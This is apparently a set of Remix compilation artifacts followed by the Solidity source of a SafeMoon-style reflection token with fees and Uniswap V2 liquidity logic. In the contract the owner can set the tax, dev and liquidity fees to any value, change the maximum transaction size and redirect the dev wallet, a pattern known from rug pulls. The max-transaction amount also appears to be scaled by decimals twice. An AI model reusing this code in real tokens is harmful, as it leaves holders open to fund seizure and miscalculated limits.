"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/COMMON/common.sol": "IERC20"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/COMMON/common.sol": {
"keccak256": "0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78",
"license": "MIT",
"urls": [
"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9",
"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"owner()": "8da5cb5b",
"transferOwnership(address)": "f2fde38b"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.8+commit.dddeac2f"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/COMMON/common.sol": "Ownable"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/COMMON/common.sol": {
"keccak256": "0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78",
"license": "MIT",
"urls": [
"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9",
"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "60566050600b82828239805160001a6073146043577f4e487b7100000000000000000000000000000000000000000000000000000000600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033",
"opcodes": "PUSH1 0x56 PUSH1 0x50 PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH1 0x0 BYTE PUSH1 0x73 EQ PUSH1 0x43 JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST ADDRESS PUSH1 0x0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE 0xD7 DIV PUSH7 0xEDA24EAD639F31 DUP2 SWAP6 EXTCODESIZE ADD STOP SWAP15 GT 0x4D ORIGIN 0xDA 0x4C 0x26 0xC4 MUL BLOCKHASH CALL GT CREATE PUSH16 0x496164736F6C63430008080033000000 ",
"sourceMap": "4286:2308:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "73000000000000000000000000000000000000000030146080604052600080fdfea26469706673582212200ed70466eda24ead639f3181953b01009e114d32da4c26c40240f111f06f496164736f6c63430008080033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE 0xD7 DIV PUSH7 0xEDA24EAD639F31 DUP2 SWAP6 EXTCODESIZE ADD STOP SWAP15 GT 0x4D ORIGIN 0xDA 0x4C 0x26 0xC4 MUL BLOCKHASH CALL GT CREATE PUSH16 0x496164736F6C63430008080033000000 ",
"sourceMap": "4286:2308:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17200",
"executionCost": "97",
"totalCost": "17297"
},
"internal": {
"add(uint256,uint256)": "infinite",
"div(uint256,uint256)": "infinite",
"div(uint256,uint256,string memory)": "infinite",
"mod(uint256,uint256)": "infinite",
"mod(uint256,uint256,string memory)": "infinite",
"mul(uint256,uint256)": "infinite",
"sub(uint256,uint256)": "infinite",
"sub(uint256,uint256,string memory)": "infinite",
"tryAdd(uint256,uint256)": "infinite",
"tryDiv(uint256,uint256)": "infinite",
"tryMod(uint256,uint256)": "infinite",
"tryMul(uint256,uint256)": "infinite",
"trySub(uint256,uint256)": "infinite"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.8+commit.dddeac2f"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/COMMON/common.sol": "SafeMath"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/COMMON/common.sol": {
"keccak256": "0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78",
"license": "MIT",
"urls": [
"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9",
"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo"
]
}
},
"version": 1
}
// SPDX-License-Identifier: MIN
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract CoinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
address public _devWalletAddress; // TODO - team wallet here
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 public _taxFee;
uint256 private _previousTaxFee;
uint256 public _devFee;
uint256 private _previousDevFee;
uint256 public _liquidityFee;
uint256 private _previousLiquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount;
uint256 public numTokensSellToAddToLiquidity;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor(
string memory _NAME,
string memory _SYMBOL,
uint256 _DECIMALS,
uint256 _supply,
uint256 _txFee,
uint256 _lpFee,
uint256 _DexFee,
address routerAddress,
address feeaddress,
address tokenOwner,
address service
) payable {
_name = _NAME;
_symbol = _SYMBOL;
_decimals = _DECIMALS;
_tTotal = _supply * 10**_decimals;
_rTotal = (MAX - (MAX % _tTotal));
_taxFee = _txFee;
_liquidityFee = _lpFee;
_previousTaxFee = _txFee;
_devFee = _DexFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _lpFee;
_maxTxAmount = ((_tTotal * 5) / 1000) * 10**_decimals;
numTokensSellToAddToLiquidity = ((_tTotal * 5) / 10000) * 10**_decimals;
_devWalletAddress = feeaddress;
_rOwned[tokenOwner] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddress);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[tokenOwner] = true;
_isExcludedFromFee[address(this)] = true;
_transferOwnership(tokenOwner);
payable(service).transfer(msg.value);
emit Transfer(address(0), tokenOwner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = maxTxPercent * 10**_decimals;
}
function setDevWalletAddress(address _addr) public onlyOwner {
_devWalletAddress = _addr;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
tDev,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity,
tDev
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if (_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner())
require(
amount <= _maxTxAmount,
"Transfer amount exceeds the maxTxAmount."
);
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >=
numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tDev
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setRouterAddress(address newRouter) external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
}
function setNumTokensSellToAddToLiquidity(uint256 amountToUpdate)
external
onlyOwner
{
numTokensSellToAddToLiquidity = amountToUpdate;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
